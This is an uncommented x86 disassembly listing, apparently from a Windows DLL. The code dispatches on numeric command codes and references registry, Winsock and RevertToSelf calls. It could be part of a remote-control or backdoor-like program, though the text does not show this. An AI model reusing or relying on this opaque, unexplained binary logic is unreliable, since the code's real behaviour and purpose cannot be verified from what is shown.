add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x30], ebx
mov ebx, dword [ebp - 0x10]
call fcn.100020b9
mov eax, 1
cmp eax, ecx
jl 0x1000bf04
push 0x2e7e
push 0x4048977
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push dword [ebp - 0x34]
push dword [ebp - 0x30]
push 0x100e6985
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x60]
test eax, eax
je 0x1000bfa4
push reloc.WS2_32.dll_connect
push 0
push 0x100d5b4f
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], 0
push 0
lea eax, [ebp - 0x34]
push eax
mov dword [ebp - 0x38], 0
push 0
lea eax, [ebp - 0x38]
push eax
mov dword [ebp - 0x3c], 0
push 0
push dword [ebp - 0x3c]
lea eax, [ebp - 0x30]
push eax
push dword [0x100e6921]
call fcn.10003c75
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x1000bf8f
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x1000bf9f
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x1000c01a
push reloc.WS2_32.dll_connect
push 0
push 0x100d5b64
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], 0
push 0
lea eax, [ebp - 0x34]
push eax
mov dword [ebp - 0x38], 0
push 0
lea eax, [ebp - 0x38]
push eax
mov dword [ebp - 0x3c], 0
push 0
push dword [ebp - 0x3c]
lea eax, [ebp - 0x30]
push eax
push dword [0x100e6921]
call fcn.10003c75
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x1000c00a
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x1000c01a
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x1000c5d7
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x1000c032
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x30], eax
push 0x80000301
push 0
push 1
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x1000c067
mov eax, 0x100d520e
push eax
push 2
mov ebx, 0x134
call fcn.100bae70
add esp, 0x1c
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x1000c08d
push ebx
call fcn.100b8c45
add esp, 4
push 0x100d53ba
push dword [ebp - 0x34]
call fcn.100027e4
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x1000c0bb
push ebx
call fcn.100b8c45
add esp, 4
cmp dword [ebp - 0x38], 0
je 0x1000c5d7
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x1000c0d8
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x30], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x1000c101
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x34], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x1000c12a
mov eax, 0x100d520e
push eax
push 1
mov ebx, 0x130
call fcn.100baa20
add esp, 0x10
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x1000c150
push ebx
call fcn.100b8c45
add esp, 4
fild dword [ebp - 0x38]
fstp qword [ebp - 0x40]
fld qword [ebp - 0x40]
fsub qword [0x100d537e]
fstp qword [ebp - 0x48]
fld qword [ebp - 0x48]
call fcn.10001795
push 0x80000301
push 0
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x1000c185
mov eax, 0x100d520e
push eax
push 2
mov ebx, 0x138
call fcn.100bb7f0
add esp, 0x1c
mov dword [ebp - 0x4c], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x1000c1ab
push ebx
call fcn.100b8c45
add esp, 4
mov eax, dword [ebp - 0x4c]
push eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x1000c1bf
push ebx
call fcn.100b8c45
add esp, 4
pop eax
mov dword [ebp - 0x28], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x100d53a2
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x1000c1e8
mov eax, 0x100d520e
push eax
push 3
mov ebx, 0x190
call fcn.100ba5d0
add esp, 0x28
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
push eax
mov ebx, dword [ebp - 0x10]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x1000c220
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x1000c21c
imul eax, dword [ebx]
jmp 0x1000c211
mov ecx, eax
test ecx, ecx
je 0x1000c23f
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x1000c238
push ebx
push eax
call fcn.100b8c45
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x1000c226
call fcn.100b8c45
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 0x10]
call fcn.100027cb
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 3
jne 0x1000c5d7
mov ebx, dword [ebp - 0x10]
call fcn.100020b9
mov eax, 0
cmp eax, ecx
jl 0x1000c288
push 0x313b
push 0x4048977
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x30], ebx
push 0x80000301
push 0
push 1
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x30]
mov eax, dword [ebx]
test eax, eax
jne 0x1000c2b1
mov eax, 0x100d520e
push eax
push 2
mov ebx, 0x138
call fcn.100bb7f0
add esp, 0x1c
mov dword [ebp - 0x34], eax
push 0x100d53a0
push dword [ebp - 0x34]
call fcn.100027e4
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x1000c2f5
push ebx
call fcn.100b8c45
add esp, 4
cmp dword [ebp - 0x38], 0
je 0x1000c423
mov ebx, dword [ebp - 0x10]
call fcn.100020b9
mov eax, 0
cmp eax, ecx
jl 0x1000c327
push 0x316d
push 0x4048977
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x30], ebx
mov ebx, dword [ebp - 0x10]
call fcn.100020b9
mov eax, 0
cmp eax, ecx
jl 0x1000c357
push 0x3192
push 0x4048977
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
mov ebx, dword [ebp - 0x10]
call fcn.100020b9
mov eax, 0
cmp eax, ecx
jl 0x1000c387
push 0x31c3
push 0x4048977
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x38], ebx
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x38]
mov eax, dword [ebx]
test eax, eax
jne 0x1000c3a4
mov eax, 0x100d520e
push eax
push 1
mov ebx, 0x130
call fcn.100baa20
add esp, 0x10
mov dword [ebp - 0x44], eax
fild dword [ebp - 0x44]
fstp qword [ebp - 0x44]
fld qword [ebp - 0x44]
fsub qword [0x100d537e]
fstp qword [ebp - 0x4c]
fld qword [ebp - 0x4c]
call fcn.10001795
push 0x80000301
push 0
push eax
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x34]
mov eax, dword [ebx]
test eax, eax
jne 0x1000c3f1
mov eax, 0x100d520e
push eax
push 2
mov ebx, 0x134
call fcn.100bae70
add esp, 0x1c
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x50]
push eax
mov ebx, dword [ebp - 0x30]
mov ebx, dword [ebx]
test ebx, ebx
je 0x1000c41d
push ebx
call fcn.100b8c45
add esp, 4
pop eax
mov ebx, dword [ebp - 0x30]
mov dword [ebx], eax
mov ebx, dword [ebp - 0x10]
call fcn.100020b9
mov eax, 0
cmp eax, ecx
jl 0x1000c44b
push 0x3204
push 0x4048977
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x30], ebx
mov ebx, dword [ebp - 0x10]
call fcn.100020b9
mov eax, 1
cmp eax, ecx
jl 0x1000c47b
push 0x3204
push 0x4048977
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 1
push dword [ebp - 0x34]
push dword [ebp - 0x30]
push 0x100e6985
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x18]
test eax, eax
je 0x1000c51d
push reloc.WS2_32.dll_connect
push 0
push 0x100d5b79
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], 0
push 0
lea eax, [ebp - 0x34]
push eax
mov dword [ebp - 0x38], 0
push 0
lea eax, [ebp - 0x38]
push eax
mov dword [ebp - 0x3c], 0
push 0
push dword [ebp - 0x3c]
lea eax, [ebp - 0x30]
push eax
push dword [0x100e6921]
call fcn.10003c75
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x1000c508
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x1000c518
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x1000d0f9
mov ebx, dword [ebp - 0x10]
call fcn.100020b9
mov eax, 0
cmp eax, ecx
jl 0x1000c545
push 0x32c7
push 0x4048977
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x30], ebx
mov ebx, dword [ebp - 0x10]
call fcn.100020b9
mov eax, 1
cmp eax, ecx
jl 0x1000c575
push 0x32c7
push 0x4048977
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
mov ebx, dword [ebp - 0x10]
call fcn.100020b9
mov eax, 2
cmp eax, ecx
jl 0x1000c5a5
push 0x32c7
push 0x4048977
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x38], ebx
mov eax, 0x100d520e
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x3c]
push eax
push dword [ebp - 0x38]
push dword [ebp - 0x34]
push dword [ebp - 0x30]
call fcn.1001a5d6
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x1000c5d7
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x1000d0f9
push str.110108
push dword [ebp - 8]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x1000c89b
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x1000c608
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x30], eax
push reloc.WS2_32.dll_bind
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.HKEY_CURRENT_USER
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x1000c64f
mov eax, 0x100d520e
push eax
push 4
mov ebx, 0x148
call fcn.100b9830
add esp, 0x34
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x1000c675
push ebx
call fcn.100b8c45
add esp, 4
cmp dword [ebp - 0x34], 0xffffffff
je 0x1000c687
call fcn.1001716b
mov dword [ebp - 0x1c], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x1000c69a
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], 0
push 0
push dword [ebp - 0x34]
mov dword [ebp - 0x38], 0
push 0
push dword [ebp - 0x38]
mov eax, 0x100d53a0
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x30]
push eax
call fcn.1001901e
mov dword [ebp - 0x40], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x1000c6f0
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x1000c700
push ebx
call fcn.100b8c45
add esp, 4
lea eax, [ebp - 0x40]
push eax
call fcn.10018f33
mov dword [ebp - 0x44], eax
mov ebx, dword [ebp - 0x40]
test ebx, ebx
je 0x1000c71c
push ebx
call fcn.100b8c45
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x1000c72f
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x4c], 0
push 0
push dword [ebp - 0x4c]
push 1
push 0xffffffff
mov eax, 0x100d53a0
mov dword [ebp - 0x50], eax
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x48]
push eax
call fcn.1001925d
mov dword [ebp - 0x54], eax
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x1000c780
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x50]
test ebx, ebx
je 0x1000c790
push ebx
call fcn.100b8c45
add esp, 4
lea eax, [ebp - 0x54]
push eax
push dword [ebp - 0x44]
call fcn.100194df
mov dword [ebp - 0x58], eax
mov ebx, dword [ebp - 0x54]
test ebx, ebx
je 0x1000c7af
push ebx
call fcn.100b8c45
add esp, 4
mov eax, dword [ebp - 0x58]
push eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x1000c7c3
push ebx
call fcn.100b8c45
add esp, 4
pop eax
mov dword [ebp - 0x28], eax
push dword [ebp - 0x28]
push str.110108
mov ecx, 2
call fcn.10001088
add esp, 8
mov dword [ebp - 0x30], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x1000c7f2
mov eax, 0x100d520e
push eax
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x1000c818
push ebx
call fcn.100b8c45
add esp, 4
mov dword [ebp - 0x38], 0
push 0
lea eax, [ebp - 0x38]
push eax
mov dword [ebp - 0x3c], 0
push 0
lea eax, [ebp - 0x3c]
push eax
mov dword [ebp - 0x40], 0
push 0
push dword [ebp - 0x40]
lea eax, [ebp - 0x34]
push eax
push dword [0x100e6921]
call fcn.10003c75
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x1000c85d
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x1000c86d
push ebx
call fcn.100b8c45
add esp, 4
mov dword [ebp - 0x30], esp
xor eax, eax
call dword [sym.imp.ADVAPI32.dll_RevertToSelf]
nop
nop
cmp dword [ebp - 0x30], esp
je 0x1000c896
push 0x351c
push 0x4048977
push 6
call fcn.100b8c4b
add esp, 0xc
jmp 0x1000d0f9
push str.110110
push dword [ebp - 8]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x1000c8c3
push 0
call fcn.100b8c69
add esp, 4
jmp 0x1000d0f9
push 0x100d5ba8
push dword [ebp - 8]
call fcn.100027e4
add esp, 8
cmp eax, 0
jne 0x1000d0f9
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x1000c8ef
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x30], eax
push reloc.WS2_32.dll_bind
push 0
push 0
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.HKEY_CURRENT_USER
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x1000c936
mov eax, 0x100d520e
push eax
push 4
mov ebx, 0x148
call fcn.100b9830
add esp, 0x34
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x1000c95c
push ebx
call fcn.100b8c45
add esp, 4
cmp dword [ebp - 0x34], 0xffffffff
je 0x1000c96e
call fcn.1001716b
mov dword [ebp - 0x1c], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x1000c981
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x30], eax
push 0x80000301
push 0
push 1
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x1000c9b6
mov eax, 0x100d520e
push eax
push 2
mov ebx, 0x134
call fcn.100bae70
add esp, 0x1c
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x1000c9dc
push ebx
call fcn.100b8c45
add esp, 4
push 0x100d53ca
push dword [ebp - 0x34]
call fcn.100027e4
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x1000ca0a
push ebx
call fcn.100b8c45
add esp, 4
cmp dword [ebp - 0x38], 0
je 0x1000cce8
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x1000ca27
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x30], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x1000ca50
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x34], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x1000ca79
mov eax, 0x100d520e
push eax
push 1
mov ebx, 0x130
call fcn.100baa20
add esp, 0x10
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x1000ca9f
push ebx
call fcn.100b8c45
add esp, 4
fild dword [ebp - 0x38]
fstp qword [ebp - 0x40]
fld qword [ebp - 0x40]
fsub qword [0x100d537e]
fstp qword [ebp - 0x48]
fld qword [ebp - 0x48]
call fcn.10001795
push 0x80000301
push 0
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x1000cad4
mov eax, 0x100d520e
push eax
push 2
mov ebx, 0x138
call fcn.100bb7f0
add esp, 0x1c
mov dword [ebp - 0x4c], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x1000cafa
push ebx
call fcn.100b8c45
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x4c]
test eax, eax
jne 0x1000cb0d
mov eax, 0x100d520e
push eax
push 1
mov ebx, 0x174
call fcn.100ba730
add esp, 0x10
mov dword [ebp - 0x50], eax
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x1000cb33
push ebx
call fcn.100b8c45
add esp, 4
mov eax, dword [ebp - 0x50]
push eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x1000cb47
push ebx
call fcn.100b8c45
add esp, 4
pop eax
mov dword [ebp - 0x28], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x1000cb5e
mov eax, 0x100d520e
push eax
push 1
mov ebx, 0x130
call fcn.100baa20
add esp, 0x10
mov dword [ebp - 0x38], eax
fild dword [ebp - 0x38]
fstp qword [ebp - 0x38]
fld qword [ebp - 0x38]
fsub qword [0x100d537e]
fstp qword [ebp - 0x40]
fld qword [ebp - 0x40]
call fcn.10001795
push 0x80000301
push 0
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x1000cba9
mov eax, 0x100d520e
push eax
push 2
mov ebx, 0x134
call fcn.100bae70
add esp, 0x1c
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
push eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x1000cbd3
push ebx
call fcn.100b8c45
add esp, 4
pop eax
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x28]
push eax
push 0x100e6985
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x54]
test eax, eax
je 0x1000cc6d
push reloc.WS2_32.dll_connect
push 0
push 0x100d5baf
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], 0
push 0
lea eax, [ebp - 0x34]
push eax
mov dword [ebp - 0x38], 0
push 0
lea eax, [ebp - 0x38]
push eax
mov dword [ebp - 0x3c], 0
push 0
push dword [ebp - 0x3c]
lea eax, [ebp - 0x30]
push eax
push dword [0x100e6921]
call fcn.10003c75
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x1000cc58
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x1000cc68
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x1000cce3
push reloc.WS2_32.dll_connect
push 0
push 0x100d5bc0
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], 0
push 0
lea eax, [ebp - 0x34]
push eax
mov dword [ebp - 0x38], 0
push 0
lea eax, [ebp - 0x38]
push eax
mov dword [ebp - 0x3c], 0
push 0
push dword [ebp - 0x3c]
lea eax, [ebp - 0x30]
push eax
push dword [0x100e6921]
call fcn.10003c75
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x1000ccd3
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x1000cce3
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x1000d0d0
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x1000ccfb
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x30], eax
push 0x80000301
push 0
push 1
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x1000cd30
mov eax, 0x100d520e
push eax
push 2
mov ebx, 0x134
call fcn.100bae70
add esp, 0x1c
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x1000cd56
push ebx
call fcn.100b8c45
add esp, 4
push 0x100d53c2
push dword [ebp - 0x34]
call fcn.100027e4
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x1000cd84
push ebx
call fcn.100b8c45
add esp, 4
cmp dword [ebp - 0x38], 0
je 0x1000d0d0
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x1000cda1
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x30], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x1000cdca
mov eax, 0x100d5289
push eax
push 1
mov ebx, 0x168
call fcn.100b9a00
add esp, 0x10
mov dword [ebp - 0x34], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x34]
test eax, eax
jne 0x1000cdf3
mov eax, 0x100d520e
push eax
push 1
mov ebx, 0x130
call fcn.100baa20
add esp, 0x10
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x1000ce19
push ebx
call fcn.100b8c45
add esp, 4
fild dword [ebp - 0x38]
fstp qword [ebp - 0x40]
fld qword [ebp - 0x40]
fsub qword [0x100d537e]
fstp qword [ebp - 0x48]
fld qword [ebp - 0x48]
call fcn.10001795
push 0x80000301
push 0
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x30]
test eax, eax
jne 0x1000ce4e
mov eax, 0x100d520e
push eax
push 2
mov ebx, 0x138
call fcn.100bb7f0
add esp, 0x1c
mov dword [ebp - 0x4c], eax
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x1000ce74
push ebx
call fcn.100b8c45
add esp, 4
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x4c]
test eax, eax
jne 0x1000ce87
mov eax, 0x100d520e
push eax
push 1
mov ebx, 0x174
call fcn.100ba730
add esp, 0x10
mov dword [ebp - 0x50], eax
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x1000cead
push ebx
call fcn.100b8c45
add esp, 4
mov eax, dword [ebp - 0x50]
push eax
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x1000cec1
push ebx
call fcn.100b8c45
add esp, 4
pop eax
mov dword [ebp - 0x28], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x100d53a2
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x28]
test eax, eax
jne 0x1000ceea
mov eax, 0x100d520e
push eax
push 3
mov ebx, 0x190
call fcn.100ba5d0
add esp, 0x28
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
push eax
mov ebx, dword [ebp - 0x10]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x1000cf22
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x1000cf1e
imul eax, dword [ebx]
jmp 0x1000cf13
mov ecx, eax
test ecx, ecx
je 0x1000cf41
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x1000cf3a
push ebx
push eax
call fcn.100b8c45
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x1000cf28
call fcn.100b8c45
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
mov ebx, dword [ebp - 0x10]
call fcn.100027cb
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 2
jne 0x1000d0d0
mov ebx, dword [ebp - 0x10]
call fcn.100020b9
mov eax, 0
cmp eax, ecx
jl 0x1000cf8a
push 0x3a94
push 0x4048977
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x30], ebx
mov ebx, dword [ebp - 0x10]
call fcn.100020b9
mov eax, 1
cmp eax, ecx
jl 0x1000cfba
push 0x3a94
push 0x4048977
push 1
call fcn.100b8c4b
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push dword [ebp - 0x34]
push dword [ebp - 0x30]
push 0x100e6985
mov eax, dword [esp]
mov eax, dword [eax]
mov eax, dword [eax]
call dword [eax + 0x58]
test eax, eax
je 0x1000d05a
push reloc.WS2_32.dll_connect
push 0
push 0x100d5bd1
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], 0
push 0
lea eax, [ebp - 0x34]
push eax
mov dword [ebp - 0x38], 0
push 0
lea eax, [ebp - 0x38]
push eax
mov dword [ebp - 0x3c], 0
push 0
push dword [ebp - 0x3c]
lea eax, [ebp - 0x30]
push eax
push dword [0x100e6921]
call fcn.10003c75
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x1000d045
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x1000d055
push ebx
call fcn.100b8c45
add esp, 4
jmp 0x1000d0d0
push reloc.WS2_32.dll_connect
push 0
push str.110111
push 1
mov ebx, 0x198
call fcn.100ba120
add esp, 0x10
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x34], 0
push 0
lea eax, [ebp - 0x34]
push eax
mov dword [ebp - 0x38], 0
push 0
lea eax, [ebp - 0x38]
push eax
mov dword [ebp - 0x3c], 0
push 0
push dword [ebp - 0x3c]
lea eax, [ebp - 0x30]
push eax
push dword [0x100e6921]
call fcn.10003c75
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x1000d0c0
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x1000d0d0
push ebx
call fcn.100b8c45
add esp, 4
mov dword [ebp - 0x30], esp
xor eax, eax
call dword [sym.imp.ADVAPI32.dll_RevertToSelf]
nop
nop
cmp dword [ebp - 0x30], esp
je 0x1000d0f9
push 0x3bcb
push 0x4048977
push 6
call fcn.100b8c4b
add esp, 0xc
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x1000d109
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x1000d119
push ebx
call fcn.100b8c45
add esp, 4
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x1000d129
push ebx
call fcn.100b8c45
add esp, 4
